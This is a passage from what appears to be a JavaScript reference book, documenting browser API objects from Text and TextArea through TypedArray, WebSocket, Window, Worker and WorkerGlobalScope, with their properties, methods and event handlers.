the section, the new row is appended to the end of the section. Otherwise, the new row is inserted immediately before the row that is currently at the position specified by *index*. Note that for this method, *index* specifies a row position within a single table section, not within the entire table.

Text

a run of text in a document — Node

A Text node represents a run of plain text in a document and typically appear in the document tree as children of Element. The textual content of a Text node is available through the `data` property or through the `nodeValue` and textContent properties inherited from Node. You can create a new Text node with `Document.createTextNode()`. Text nodes never have children.

Properties

`string` **`data`**
: The text contained by this node.

`readonly unsigned long` **`length`**
: The length, in characters, of the text.

`readonly string` **`wholeText`**
: The text content of this node and any adjacent text nodes before or after this one. If you've called the `normalize()` method of the parent `Node`, this property will be the same as `data`.

Methods

Unless you are writing a web-based text editor application, these methods are not commonly used.

`void` **`appendData`**`(string` *`text`*`)`

This method appends the specified *`text`* to the end of this Text node.

`void` **`deleteData`**`(unsigned long` *`offset`*`, unsigned long` *`count`*`)`

This method deletes characters from this Text node, starting with the character at the position *`offset`* and continuing for *`count`* characters. If *`offset`* plus *`count`* is greater than the number of characters in the Text node, all characters from *`offset`* to the end of the string are deleted.

`void` **`insertData`**`(unsigned long` *`offset`*`, string` *`text`*`)`

This method inserts the specified *`text`* into the Text node at the specified *`offset`*.

`void` **`replaceData`**`(unsigned long` *`offset`*`, unsigned long` *`count`*`, string` *`text`*`)`

This method replaces *`count`* characters starting at position *`offset`* with the contents of the string *`text`*. If the sum of *`offset`* and *`count`* is greater than the length of the Text node, all characters from *`offset`* on are replaced.

`Text replaceWholeText(string text)`

This method creates a new Text node that contains the specified *text*. It then replaces this node and any adjacent Text nodes with the single new node and returns the new node. See the `wholeText` property above and the `normalize()` method of `Node`.

`Text splitText(unsigned long offset)`

This method splits a Text node in two at the specified *offset*. The original Text node is modified so that it contains all text content up to, but not including, the character at position *offset*. A new Text node is created to contain all the characters from (and including) the position *offset* to the end of the string. This new Text node is the return value of the method. Additionally, if the original Text node has a `parentNode`, the new node is inserted into this parent node immediately after the original node.

`string substringData(unsigned long offset, unsigned long count)`

This method extracts and returns the substring that starts at position *offset* and continues for *count* characters from the text of a Text node. If a Text node contains a very large amount of text, using this method may be more efficient than using `String.substring()`.

TextArea

a multiline text input area — Node, Element, FormControl

A TextArea object represents an HTML `<textarea>` element that creates a multiline text input field, often within an HTML form. The initial content of the text area is specified as plain text between the `<textarea>` and `</textarea>` tags. You can query and set the displayed text with the `value` property.

TextArea is a form control element like Input and Select. Like those objects, it defines `form`, `name`, `type`, and `value` properties and the other properties and methods documented in `FormControl`.

Properties

In addition to the properties listed here, TextArea elements also define the properties of `Element` and `FormControl` and mirror HTML attributes with the following JavaScript properties: `cols`, `maxLength`, `rows`, `placeholder`, `readOnly`, `required`, and `wrap`.

`string defaultValue`

The initial plain-text content of the `<textarea>` element. When the form is reset, the text area is restored to this value. This property is the same as the `textContent` property inherited from Node.

`unsigned long selectionEnd`

Returns or sets the index of the first input character after the selected text. See also `setSelectionRange()`.

`unsigned long selectionStart`

Returns or sets the index of the first selected character in the `<textarea>`. See also `setSelectionRange()`.

`readonly unsigned long` **`textLength`**
The length, in characters, of the `value` property (see `FormControl`).

Methods

In addition to the methods listed here, TextArea elements also implement the methods of `Element` and `FormControl`.

`void` **`select()`**

This method selects all the text displayed by this `<textarea>` element. In most browsers, this means that the text is highlighted and that new text entered by the user replaces the highlighted text instead of being appended to it.

`void` **`setSelectionRange`**`(unsigned long` *`start`*`, unsigned long` *`end`*`)`

Select text displayed in the `<textarea>`, starting with the character at position *`start`* and continuing up to (but not including) the character at *`end`*.

TextMetrics

measurements of a string of text

A TextMetrics object is returned by the `measureText()` method of CanvasRenderingContext2D. Its `width` property holds the width of the measured text, in CSS pixels. Additional metrics may be added in the future.

Properties

`readonly double` **`width`**
The width, in CSS pixels, of the measured text.

TimeRanges

a set of media time ranges

The `buffered`, `played`, and `seekable` properties of a `MediaElement` represent the portions of a media timeline that have data buffered, that have been played, and that playback can be started at. Each of these portions of the timeline may include multiple disjoint time ranges (this happens to the `played` property when the user skips to the middle of a video file, for example). A TimeRanges object represents zero or more disjoint time ranges. The `length` property specifies the number of ranges, and the `start()` and `end()` methods return the bounds of each range.

The `TimeRanges` objects returned by MediaElements are always *`normalized`*, which means that the ranges they contain are in order, nonempty and do not touch or overlap.

Properties

`readonly unsigned long` **`length`**
The number of ranges represented by this TimeRanges object.

Methods

`double end(unsigned long n)`

Returns the end time (in seconds) of time range *n*, or throws an exception if *n* is less than zero or greater than or equal to `length`.

`double start(unsigned long n)`

Returns the start time (in seconds) of time range *n*, or throws an exception if *n* is less than zero or greater than or equal to `length`.

TypedArray

fixed-size binary arrays — ArrayBufferView

A TypedArray is an `ArrayBufferView` that interprets the bytes of an underlying `ArrayBuffer` as an array of numbers and allows read and write access to the elements of that array. This page does not document a single type named TypedArray. Instead, it covers eight different kinds of *typed arrays*. These eight types are all subtypes of ArrayBufferView, and they differ from each other only in the number of bytes per array element and the way those bytes are interpreted. The eight actual types are:

`Int8Array`
: One byte per array element, interpreted as a signed integer.

`Int16Array`
: Two bytes per array element, interpreted as a signed integer, using platform byte order.

`Int32Array`
: Four bytes per array element, interpreted as a signed integer, using platform byte order.

`Uint8Array`
: One byte per array element, interpreted as an unsigned integer.

`Uint16Array`
: Two bytes per array element, interpreted as an unsigned integer, using platform byte order.

`Uint32Array`
: Four bytes per array element, interpreted as an unsigned integer, using platform byte order.

`Float32Array`
: Four bytes per array element, interpreted as a floating-point number, using platform byte order.

`Float64Array`
: Eight bytes per array element, interpreted as a floating-point number, using platform byte order.

As their name implies, these are array-like objects, and you can get and set element values using normal square-bracket array notation. Note, however, that objects of these types always have a fixed length.

As noted in the descriptions above, the TypedArray classes use the default byte ordering of the underlying platform. See `DataView` for an ArrayBuffer view that allows explicit control over byte order.

Constructor

```
new TypedArray(unsigned long length)
new TypedArray(TypedArray array)
new TypedArray(type[] array)
new TypedArray(ArrayBuffer buffer,[unsigned long byteOffset],[unsigned long length])
```

Each of the eight kinds of TypedArray has a constructor that can be invoked in the four ways shown above. The constructors work as follows:

- If the constructor is called with a single numeric argument, it creates a new typed array with the specified number of elements, and initializes each element to 0.
- If passed a single typed array object, the constructor creates a new typed array with the same number of arguments as the argument array, and then copies the elements of the argument array to the newly created array. The type of the argument array need not be the same as the type of the array being created.
- If passed a single array (a true JavaScript array), the constructor creates a new typed array with the same number of arguments and then copies element values from the argument array into the new array.
- Finally, if passed an ArrayBuffer object, along with optional offset and length arguments, the constructor creates a new typed array that is a view of the specified region of the specified ArrayBuffer. The length of the new TypedArray depends on the ArrayBuffer region and on the element size of the typed array.

Constants

`long` **`BYTES_PER_ELEMENT`**

The number of bytes that each element of this array occupies in the underlying ArrayBuffer. This constant will have the value 1, 2, 4, or 8, depending on what kind of TypedArray is in use.

Properties

`readonly unsigned long` **`length`**

The number of elements in the array. TypedArrays have fixed size, and the value of this property never changes. Note that this property is not, in general, the same as the `byteLength` property inherited from `ArrayBufferView`.

Methods

`void` **`set`**`(`*`TypedArray array`*`, [unsigned long` *`offset`*`])`

Copy elements of *`array`* into this typed array, starting at index *`offset`*.

`void` **`set`**`(number[]` *`array`*`, [unsigned long` *`offset`*`])`

This version of `set()` is like the one above, but it uses a true JavaScript array rather than a typed array.

`TypedArray` **`subarray`**`(long` *`start`*`, long` *`end`*`)`

Return a new TypedArray that uses the same underlying ArrayBuffer as this one does. The first element of the returned array is element *`start`* of this array. And the last element of the

returned array is element *end*–1 of this array. Negative values of *start* and *end* are interpreted as offsets from the end of this array rather than the beginning.

URL

Blob URL methods

The `URL` property of the Window object refers to this URL object. In the future, this object may become a constructor for a URL parsing and manipulation utility class. At the time of this writing, however, it simply serves as a namespace for the two Blob URL functions described below. See §22.6 and §22.6.4 for more on Blobs and Blob URLs.

The URL object is new at the time of this writing and the API is not yet stable. You may need to use it with a vendor-specific prefix: `webkitURL`, for example.

Functions

```
string createObjectURL(Blob blob)
```

Return a Blob URL for the specified *blob*. HTTP GET requests for that URL will return the contents of *blob*.

```
void revokeObjectURL(string url)
```

Revoke the specified Blob *url*, so that it is no longer associated with any Blob and can no longer be loaded.

Video

an HTML <video> element — Node, Element, MediaElement

A Video object represents an HTML `<video>` element. `<video>` and `<audio>` elements are very similar and their common properties and methods are documented in `MediaElement`. This page documents a handful of additional properties that are specific to Video objects.

Properties

`DOMSettableTokenList` **`audio`**

This property specifies audio options for the video. The options are specified as a space-separated list of tokens on the HTML `audio` attribute, and the set is mirrored in JavaScript as a DOMSettableTokenList. At the time of this writing, however, the HTML5 standard defines only one legal token ("muted"), and you can treat this property as a string.

`unsigned long` **`height`**

The onscreen height of the `<video>` element, in CSS pixels. Mirrors the HTML `height` attribute.

`string` **`poster`**

The URL of an image to be displayed as a "poster frame" before the video begins playing. Mirrors the HTML `poster` attribute.

`readonly unsigned long` **`videoHeight`**
`readonly unsigned long` **`videoWidth`**
: These properties return the intrinsic width and height of the video (i.e., the size of its frames) in CSS pixels. These properties will be zero until the `<video>` element has loaded the video metadata (while `readyState` is still `HAVE_NOTHING` and the loadedmetadata event has not been dispatched).

`unsigned long` **`width`**
: The desired onscreen width of the `<video>` element, in CSS pixels. Mirrors the HTML `width` attribute.

WebSocket

a bidirectional socket-like network connection — EventTarget

A WebSocket represents a long-lived, bidirectional, socket-like network connection to a server that supports the WebSocket protocol. This is a fundamentally different networking model than the request/response model of HTTP. Create a new connection with the `WebSocket()` constructor. Use `send()` to send textual messages to the server, and register a handler for message events to receive messages from the server. See §22.9 for further details.

WebSockets are a new Web API and, at the time of this writing, are not supported by all browsers.

Constructor

```
new WebSocket(string url, [string[] protocols])
```

The `WebSocket()` constructor creates a new WebSocket object and begins the (asynchronous) process of establishing a connection to a WebSocket server. The *`url`* argument specifies the server to connect to and must be an absolute URL that uses the `ws://` or `wss://` URL scheme. The *`protocols`* argument is an array of subprotocol names. If the argument is specified, it is the client's way of telling the server which communication protocols or which protocol versions it is able to "speak." The server must choose one and inform the client as part of the connection process. `protocols` may also be specified as a single string instead of an array: in this case, it is treated as an array of length 1.

Constants

These constants are the values of the `readyState` property.

`unsigned short` **`CONNECTING`** `= 0`
: The connection process is underway.

`unsigned short` **`OPEN`** `= 1`
: The WebSocket is connected to the server; messages can be sent and received.

`unsigned short` **`CLOSING`** `= 2`
: The connection is closing.

`unsigned short` **`CLOSED`** `= 3`
: The connection has closed.

Properties

`readonly unsigned long` **`bufferedAmount`**
: The number of characters of text that have been passed to `send()` but not yet actually sent. If you need to send large amounts of data, you can use this property to ensure that you are not sending messages faster than they can be transmitted.

`readonly string` **`protocol`**
: If an array of subprotocols was passed to the `WebSocket()` constructor, this property holds the one chosen by the server. Note that when the WebSocket is first created, the connection is not established and the server's choice is not known. So this property starts as the empty string. If you passed protocols to the constructor, this property will change to reflect the server's choice of subprotocol when the open event is triggered.

`readonly unsigned short` **`readyState`**
: The current state of the WebSocket connection. This property holds one of the constant values listed above.

`readonly string` **`url`**
: This property holds the URL that was passed to the `WebSocket()` constructor.

Methods

`void` **`close`**`()`

If the connection is not already closed or closing, this method begins the process of closing it, setting `readyState` to `CLOSING`. Message events may continue to be fired even after `close()` is called, until `readyState` changes to `CLOSED` and the close event is fired.

`void` **`send`**`(string` *`data`*`)`

This method sends the specified *`data`* to the server at the other end of the WebSocket connection. This method throws an exception if called before the open event has been triggered, while `readyState` is still `CONNECTING`. The WebSocket protocol supports binary data, but at the time of this writing, the WebSocket API only allows strings to be sent and received.

Event Handlers

Network communication is inherently asynchronous, and like `XMLHttpRequest`, the WebSocket API is event-based. WebSocket defines four event handler registration properties, and also implements `EventTarget`, so you can also register event handlers using the EventTarget methods. The events described below are all fired at the WebSocket object. None of them bubble, and none have a default action to cancel. Note, however, that they do have different event objects associated with them.

`onclose`
: A close event is triggered when the WebSocket connection closes (and `readyState` changes to CLOSED). The associated event object is a `CloseEvent`, which specifies whether the connection closed cleanly or not.

`onerror`
: An error event is triggered when a network or WebSocket protocol error occurs. The associated event object is a simple Event.

`onmessage`
: When the server sends data through the WebSocket, the WebSocket fires a message event, with an associated `MessageEvent` object whose `data` property refers to the received message.

`onopen`
: The `WebSocket()` constructor returns before the connection to the specified *`url`* is established. When the connection handshake completes and the WebSocket is ready to send and receive data, an open event is fired. The associated event object is a simple Event.

Window

a web browser window, tab, or frame — EventTarget

The Window object represents a browser window, tab, or frame. It is documented in detail in Chapter 14. In client-side JavaScript, the Window serves as the "global object," and all expressions are evaluated in the context of the current Window object. This means that no special syntax is required to refer to the current window, and you can use the properties of that window object as if they were global variables. For example, you can write `document` rather than *`window`*`.document`. Similarly, you can use the methods of the current window object as if they were functions: e.g., `alert()` instead of *`window`*`.alert()`.

Some of the properties and methods of this object actually query or manipulate the browser window in some way. Others are defined here simply because this is the global object. In addition to the properties and methods listed here, the Window object also implements all the global properties and functions defined by core JavaScript. See `Global` in Part III for details.

Web browsers fire many kinds of events at windows. This means that the Window object defines quite a few event handlers, and that Window objects implement the methods defined by `EventTarget`.

The Window object has `window` and `self` properties that refer to the window object itself. You can use these to make the current window reference explicit rather than implicit.

A Window can contain other Window objects, typically in the form of `<iframe>` tags. Each Window is an array-like object of nested Window objects. Rather than indexing a Window object directly, however, you typically use its self-referential `frames` property as if it were the array-like object. The `parent` and `top` properties of a Window refer to the directly containing window and top-level ancestor window.

New top-level browser windows are created with the `Window.open()` method. When you call this method, save the return value of the `open()` call in a variable and use that variable to reference the new window. The `opener` property of the new window is a reference back to the window that opened it.

Properties

In addition to the properties listed here, document content displayed within the window causes new properties to come into existence. As explained in §14.7, you can refer to an element within the document by using the value of the element's `id` attribute as a property of the window (and since the window is the global object, its properties are global variables).

`readonly ApplicationCache` **`applicationCache`**
A reference to the `ApplicationCache` object. Cached and offline web apps can use this object to manage their cache updates.

`readonly any` **`dialogArguments`**
In Window objects created by the `showModalDialog()`, this property is the *`arguments`* value that was passed to `showModalDialog()`. In regular Window objects, this property does not exist. See §14.5 for more information.

`readonly Document` **`document`**
The Document object that describes the content of this window (see `Document` for details).

`readonly Event` **`event`** *[IE only]*
In Internet Explorer, this property refers to the Event object that describes the most recent event. In IE8 and before, the event object is not always passed to the event handler and must sometimes be accessed through this property. See Chapter 17 for further details.

`readonly Element` **`frameElement`**
If this Window is within an `<iframe>`, this property refers to that `IFrame` element. For top-level windows, this property is `null`.

`readonly Window` **`frames`**
This property, like the `self` and `window` properties, refers to the Window object itself. Every Window object is an array-like object of the frames contained within it. Instead of writing `w[0]` to refer to the first frame within a window `w`, this property allows you to more clearly write `w.frames[0]`.

`readonly History` **`history`**
The History object of this window. See `History`.

`readonly long` **`innerHeight`**
`readonly long` **`innerWidth`**
The height and width, in pixels, of the document display area of this window. These properties are not supported in IE8 and before. See Example 15-9 for an example.

`readonly unsigned long` **`length`**
The number of frames contained in this window. See `frames`.

`readonly Storage` **`localStorage`**
This property refers to a `Storage` object that provides client-side storage for name/value pairs. Data stored through `localStorage` is visible to and shared with any documents with the same origin, and persists until deleted by the user or by a script. See also `sessionStorage` and §20.1.

`readonly Location` **`location`**
The Location object for this window. This object specifies the URL of the currently loaded document. Setting this property to a new URL string causes the browser to load and display the contents of that URL. See `Location`.

`string` **`name`**
The name of the window. The name is optionally specified when the window is created with the `open()` method or with the `name` attribute of a `<frame>` tag. The name of a window

can be used as the value of a `target` attribute of an `<a>` or `<form>` tag. Using the `target` attribute in this way specifies that the hyperlinked document or the results of form submission should be displayed in the named window or frame.

`readonly Navigator` **`navigator`**
A reference to the Navigator object, which provides version and configuration information about the web browser. See `Navigator`.

`readonly Window` **`opener`**
A read/write reference to the Window object that contained the script that called `open()` to open this browser window, or `null` for windows that were not created in that way. This property is valid only for Window objects that represent top-level windows, not those that represent frames. The `opener` property is useful so that a newly created window can refer to properties and functions defined in the window that created it.

`readonly long` **`outerHeight`**
`readonly long` **`outerWidth`**
These properties specify the total height and width, in pixels, of the browser window, including toolbars, scrollbars, window borders, and so on. These properties are not supported in IE8 and before.

`readonly long` **`pageXOffset`**
`readonly long` **`pageYOffset`**
The number of pixels that the current document has been scrolled to the right (`pageXOffset`) and down (`pageYOffset`). These properties are not supported in IE8 and before. See Example 15-8 for an example and compatibility code that works in IE.

`readonly Window` **`parent`**
The Window object that contains this one. If this window is a top-level window, `parent` refers to the window itself. If this window is a frame, the `parent` property refers to the window or frame that contains it.

`string` **`returnValue`**
This property does not exist in normal windows, but it is defined for Windows created by `showModalDialog()` and has the empty string as its default value. When a dialog Window is closed (see the `close()` method), the value of this property becomes the return value of `showModalDialog()`.

`readonly Screen` **`screen`**
The Screen object that specifies information about the screen: the number of available pixels and the number of available colors. See `Screen` for details.

`readonly long` **`screenX`**
`readonly long` **`screenY`**
The coordinates of the upper left corner of the window on the screen.

`readonly Window` **`self`**
A reference to this window itself. This is a synonym for the `window` property.

`readonly Storage` **`sessionStorage`**
This property refers to a `Storage` object that provides client-side storage for name/value pairs. Data stored through `sessionStorage` is visible only to same-origin documents with-

in the same top-level window or tab, and persists only for the duration of the browsing session. See also `localStorage` and §20.1.

`readonly Window` **`top`**
: The top-level window that contains this window. If this window is a top-level window itself, the `top` property simply refers to the window itself. If this window is a frame, the `top` property refers to the top-level window that contains the frame. Contrast with the `parent` property.

`readonly object URL`
: At the time of this writing, this property is simply a reference to a placeholder object that defines the functions documented at `URL`. In the future, this property may become a `URL()` constructor and define an API for parsing URLs and their query strings.

`readonly Window` **`window`**
: The `window` property is identical to the `self` property; it contains a reference to this window. Since the Window object is the global object of client-side JavaScript, this property allows us to write `window` to refer to the global object.

Constructors

As the global object for client-side JavaScript, the Window object must define all the global constructors for the client-side environment. Although they are not listed here, all of the global constructors documented in this reference section are properties of the Window object. The fact that client-side JavaScript defines `Image()` and `XMLHttpRequest()` constructors, for example, means that every Window object has properties named `Image` and `XMLHttpRequest`.

Methods

The Window object defines the following methods and also inherits all the global functions defined by core JavaScript (see `Global` in Part III).

`void` **`alert`**`(string` *`message`*`)`

The `alert()` method displays the specified plain-text *`message`* to the user in a dialog box. The dialog box contains an OK button the user can click to dismiss it. The dialog box is typically modal (at least for the current tab), and the call to `alert()` blocks until the dialog is dismissed.

`string` **`atob`**`(string` *`atob`*`)`

This utility function accepts a base64-encoded string and decodes it into a JavaScript binary string in which each character represents a single byte. Use the `charCodeAt()` method of the returned string to extract byte values. See also `btoa()`.

`void` **`blur`**`()`

The `blur()` method removes keyboard focus from the top-level browser window specified by the Window object. It is unspecified which window gains keyboard focus as a result. In some browsers and/or platforms, this method may have no effect.

`string` **`btoa`**`(string` *`btoa`*`)`

This utility function accepts a JavaScript binary string (in which each character represents a single byte) as an argument and returns the base64 encoding of it. Use `String.fromCharCode()` to create a binary string from an arbitrary sequence of byte values. See also `atob()`.

`void clearInterval(long handle)`

`clearInterval()` stops the repeated execution of code that was started by a call to `setInterval()`. *`intervalId`* must be the value that was returned by a call to `setInterval()`.

`void clearTimeout(long handle)`

`clearTimeout()` cancels the execution of code that has been deferred with the `setTimeout()` method. The *`timeoutId`* argument is a value returned by the call to `setTimeout()` and identifies which deferred code to cancel.

`void close()`

The `close()` method closes the top-level browser window on which it is invoked. Scripts are generally only allowed to close windows that they opened.

`boolean confirm(string message)`

This method displays the specified *`question`* as plain text in a modal dialog box. The dialog box contains OK and Cancel buttons that the user can use to answer the question. If the user clicks the OK button, `confirm()` returns `true`. If the user clicks Cancel, `confirm()` returns `false`.

`void focus()`

This method gives keyboard focus to the browser window. On most platforms, a top-level window is brought forward to the top of the window stack so that it becomes visible when it is given focus.

`CSSStyleDeclaration getComputedStyle(Element elt, [string pseudoElt])`

An element in a document can obtain style information from an inline `style` attribute and from any number of stylesheets in the stylesheet "cascade." Before the element can actually be displayed in a window, its style information must be extracted from the cascade, and styles specified with relative units (such as percentages or "ems") must be "computed" to convert to pixels. These computed values are sometimes also called "used" values.

This method returns a read-only CSSStyleDeclaration object that represents the CSS style values actually used to display the element. All dimensions will be in pixels.

The second argument to this method is usually omitted or `null`, but you can also pass the CSS pseudoelement "::before" or "::after" to determine the styles used for CSS-generated content.

Contrast `getComputedStyle()` with the `style` property of an HTMLElement, which gives you access only to the inline styles of an element, in whatever units they were specified, and tells you nothing about stylesheet styles that apply to the element.

This method is not implemented in IE8 and before, but similar functionality is available through the nonstandard `currentStyle` property of each HTMLElement object.

`Window open([string url], [string target], [string features], [string replace])`

The `open()` method loads and displays the specified *`url`* in a new or existing browser window or tab. The *`url`* argument specifies the URL of the document to load. If not specified, "about:blank" is used.

The *`target`* argument specifies the name of the window into which the *`url`* should be loaded. If not specified, "_blank" is used. If *`target`* is "_blank", or if there is no existing window with

the specified name, a new window is created to display the contents of *url*. Otherwise, the *url* is loaded into the existing window with the specified name.

The *features* argument used to specify the window position, size, and features (such as menubar, toolbar, etc.). In modern browsers that support tabs, it is often ignored, and it is not documented here.

When you use `Window.open()` to load a new document into an existing window, the *replace* argument specifies whether the new document has its own entry in the window's browsing history or whether it replaces the history entry of the current document. If *replace* is `true`, the new document replaces the old. If this argument is `false` or is not specified, the new document has its own entry in the Window's browsing history. This argument provides functionality much like that of the `Location.replace()` method.

```
void postMessage(any message, string targetOrigin, [MessagePort[] ports])
```

Send a copy of the specified *message* and the optionally specified *ports* to this window, but only if the document displayed in this window has the specified *targetOrigin*.

message can be any object that can be cloned with the structured clone algorithm (see "Structured Clones" on page 672). *targetOrigin* should be an absolute URL that specifies the scheme, host, and port of the desired origin. Or *targetOrigin* can be "*" if any origin is acceptable or "/" to use the script's own origin.

Calling this method on a window causes a message event on that window. See `MessageEvent` and §22.3.

```
void print()
```

Calling `print()` causes the browser to behave as if the user had selected the browser's Print button or menu item. Usually, this brings up a dialog box that enables the user to cancel or customize the print request.

```
string prompt(string message, [string default])
```

The `prompt()` method displays the specified *message* in a modal dialog box that also contains a text input field and OK and Cancel buttons and blocks until the user clicks one of the buttons.

If the user clicks the Cancel button, `prompt()` returns `null`. If the user clicks the OK button, `prompt()` returns the text currently displayed in the input field.

The *default* argument specifies the initial value of the text input field

```
void scroll(long x, long y)
```

This method is a synonym for `scrollTo()`.

```
void scrollBy(long x, long y)
```

`scrollBy()` scrolls the document displayed in *window* by the relative amounts specified by *dx* and *dy*.

```
void scrollTo(long x, long y)
```

`scrollTo()` scrolls the document displayed within *window* so the point in the document specified by the *x* and *y* coordinates is displayed in the upper left corner, if possible.

```
long setInterval(function f, unsigned long interval, any args...)
```

`setInterval()` registers the function *f* to be invoked after *interval* milliseconds and then to be repeatedly invoked at that specified *interval*. `f` will be invoked with the Window as its `this` value, and will be passed any additional *args* that were passed to `setInterval()`.

`setInterval()` returns a number that can later be passed to `Window.clearInterval()` to cancel the execution of *code*.

For historical reasons, *f* may be a string of JavaScript code instead of a function. If so, the string will be evaluated (as if it were a `<script>`) every *interval* milliseconds.

Use `setTimeout()` when you want to defer the execution of code but do not want it to be repeatedly executed.

```
long setTimeout(function f, unsigned long timeout, any args...)
```

`setTimeout()` is like `setInterval()`, except that it invokes the specified function only once: it registers *f* to be invoked after *timeout* milliseconds have been elapsed and returns a number that can later be passed to `clearTimeout()` to cancel the pending invocation. When the specified time has passed, *f* will be invoked as a method of the Window and will be passed any specified *args*. If *f* is a string rather than a function, it will be executed after *timeout* milliseconds as if it were a `<script>`.

```
any showModalDialog(string url, [any arguments])
```

This method creates a new Window object, sets its `dialogArguments` property to *arguments*, loads *url* into the window, and blocks until the window is closed. Once closed, it returns the `returnValue` property of the window. See §14.5 and Example 14-4 for a discussion and example.

Event Handlers

Most events that occur on HTML elements bubble up the document tree, to the Document object and then on to the Window object. For this reason, you can use all of the event handler properties listed in `Element` on Window objects. And in addition, you can use the event handler properties listed below. For historical reasons, each of the event handler properties listed here can also be defined (as an HTML attribute or as a JavaScript property) on the `<body>` element.

Event Handler	Invoked...
`onafterprint`	After the window's contents are printed
`onbeforeprint`	Before the window's contents are printed
`onbeforeunload`	Before navigating away from the current page. If the return value is a string, or if the handler sets the `returnValue` property of its event object to a string, that string will be displayed in a confirmation dialog. See `BeforeUnloadEvent`.
`onblur`	When the window loses keyboard focus
`onerror`	When a JavaScript error occurs. This is not an ordinary event handler. See §14.6.
`onfocus`	When the window gains keyboard focus
`onhashchange`	When the fragment identifier (see `Location.hash`) of the document changes as the result of history navigation (see `HashChangeEvent`)

Event Handler	Invoked...
onload	When the document and its external resources are fully loaded
onmessage	When a script in another window sends a message by calling the postMessage() method. See MessageEvent.
onoffline	When the browser loses its connection to the Internet
ononline	When the browser regains a connection to the Internet
onpagehide	When the page is about to be cached and replaced by another page
onpageshow	When a page is first loaded, a pageshow event is fired right after the load event, and the event object has a persisted property of false. When a previously loaded page is restored from the browser's in-memory cache, however, no load event is fired (since the cached page is already in its loaded state) and a pageshow event is fired with an event object that has its persisted property set to true. See PageTransitionEvent.
onpopstate	When the browser loads a new page or restores a state saved with History.pushState() or History.replaceState(). See PopStateEvent.
onresize	When the user changes the size of the browser window
onscroll	When the user scrolls the browser window
onstorage	Content of localStorage or sessionStorage changes. See StorageEvent.
onunload	The browser navigates away from a page. Note that if you register an onunload handler for a page, that page will not be cacheable. To allow users to quickly return to your page without reloading, use onpagehide instead.

Worker

a worker thread — EventTarget

A Worker represents a background thread. Create a new Worker with the Worker() constructor, passing the URL of a file of JavaScript code for it to run. The JavaScript code in that file can use synchronous APIs or perform compute-intensive tasks without freezing up the main UI thread. Workers run their code in a completely separate execution context (see WorkerGlobalScope), and the only way to exchange data with a worker is via asynchronous events. Call postMessage() to send data to the Worker, and handle message events to receive data from the worker.

See §22.4 for an introduction to worker threads.

Constructor

```
new Worker(string scriptURL)
```

Constructs a new Worker object and causes it to run the JavaScript code in *scriptURL*.

Methods

```
void postMessage(any message, [MessagePort[] ports])
```

Send *message* to the worker, which will receive it as a MessageEvent object sent to its onmessage handler. *message* can be a JavaScript primitive value or object or array, but not a

function. Client-side types ArrayBuffer, File, Blob, and ImageData are allowed, but Nodes, such as Document and Element, are not allowed (see "Structured Clones" on page 672 for details).

The optional *ports* argument is an advanced feature that allows you to pass one or more direct communication channels to the Worker. If you create two Worker objects, for example, you can allow them to communicate directly with each other by passing them each one end of a `MessageChannel`.

```
void terminate()
```

Stop the worker and abort the script it is running.

Event Handlers

Because workers run code in a completely separate execution environment than the one that created them, the only way they can communicate with their parent thread is by events. You can register event handlers on these properties or use the `EventTarget` methods.

`onerror`
: When an exception is thrown in the script being run by a Worker, and that error is not handled by the `onerror` handler of the WorkerGlobalScope, the error triggers an error event on the Worker object. The event object associated with this event is a `ErrorEvent`. The error event does not bubble. If this worker is owned by another worker, canceling an error event prevents it from being propagated up to the parent worker. If this Worker object is already in the main thread, canceling the event may prevent it from being displayed in the JavaScript console.

`onmessage`
: When the script that the worker is running calls its global `postMessage()` function (see `WorkerGlobalScope`), a message event is triggered on the Worker object. The object passed to the event handler is a `MessageEvent`, and its `data` property contains a clone of the value that the worker script passed to `postMessage()`.

WorkerGlobalScope

EventTarget, Global

A Worker thread runs in a completely different execution environment than the parent thread that spawned it. The global object for a worker is a WorkerGlobalScope object, so this page describes the execution environment "inside" a Worker. Since WorkerGlobalScope is a global object, it inherits the `Global` object of core JavaScript.

Properties

In addition to the properties listed here, WorkerGlobalScope also defines all of the core JavaScript global properties, such as `Math` and `JSON`.

`readonly WorkerLocation location`
: This property is like the `window.location` `Location` object: it allows a worker to inspect the URL it was loaded from and includes properties that return individual portions of the URL.

`readonly WorkerNavigator` **`navigator`**
: This property is like the `window.navigator` `Navigator` object: it defines properties that allow a worker to determine what browser it is running in and whether it is currently online or not.

`readonly WorkerGlobalScope` **`self`**
: This self-referential property refers to the WorkerGlobalScope global object itself. It is like the `window` property of the Window object in the main thread.

Methods

In addition to the properties listed here, WorkerGlobalScope also defines all of the core JavaScript global functions, such as `isNaN()` and `eval()`.

`void` **`clearInterval`**`(long` *`handle`*`)`

This method is just like the Window method of the same name.

`void` **`clearTimeout`**`(long` *`handle`*`)`

This method is just like the Window method of the same name.

`void` **`close`**`()`

This method puts the worker into a special "closing" state. Once in this state, it will not fire any timers or trigger any events. The script continues running until it returns to the worker's event loop, at which point the worker stops.

`void` **`importScripts`**`(string` *`urls`*`...)`

For each of the specified *`urls`*, this method resolves the URL relative to the worker's `location`, then loads the content of the URL, and then executes that content as JavaScript code. Note that this is a synchronous method. It loads and executes each file in turn and does not return until all scripts have executed. (If any script throws an exception, however, that exception will propagate and prevent any subsequent URLs from being loaded and executed.)

`void` **`postMessage`**`(any` *`message`*`, [MessagePort[]` *`ports`*`])`

Sends a *`message`* (and optionally an array of *`ports`*) to the thread that spawned this worker. Calling this method causes a message event to be triggered on the Worker object in the parent thread, and the associated MessageEvent object will include a clone of *`message`* as its `data` property. Note that in a worker, `postMessage()` is a global function.

`long` **`setInterval`**`(any` *`handler`*`, [any` *`timeout`*`], any` *`args`*`...)`

This method is just like the Window method of the same name.

`long` **`setTimeout`**`(any` *`handler`*`, [any` *`timeout`*`], any` *`args`*`...)`

This method is just like the Window method of the same name.

Constructors

WorkerGlobalScope includes all of the core JavaScript constructors, such as `Array()`, `Date()`, and `RegExp()`. It also defines key client-side constructors for `XMLHttpRequest`, `FileReaderSync`, and even the Worker object itself.

Event Handlers

You can register event handlers for workers by setting these global event handler properties, or you can use the `EventTarget` methods implemented by WorkerGlobalScope.

`onerror`
: This is not a normal event handler: it is like the `onerror` property of Window rather than the `onerror` property of Worker. When an unhandled exception occurs in the worker, this function, if defined, will be invoked with three string arguments that specify an error message, a script URL, and a line number. If the function returns `false`, the error is considered handled and does not propagate. Otherwise, if this property is not set, or if the error handler does not return `false`, the error propagates and causes an error event on the Worker object in the parent thread.

`onmessage`
: When the parent thread calls the `postMessage()` method of the Worker object that represents this worker, it causes a message event to be triggered on this WorkerGlobalScope. This event handler function will be passed a MessageEvent object, and the `data` property of that object will hold a clone of the *`message`* argument sent by the parent thread.

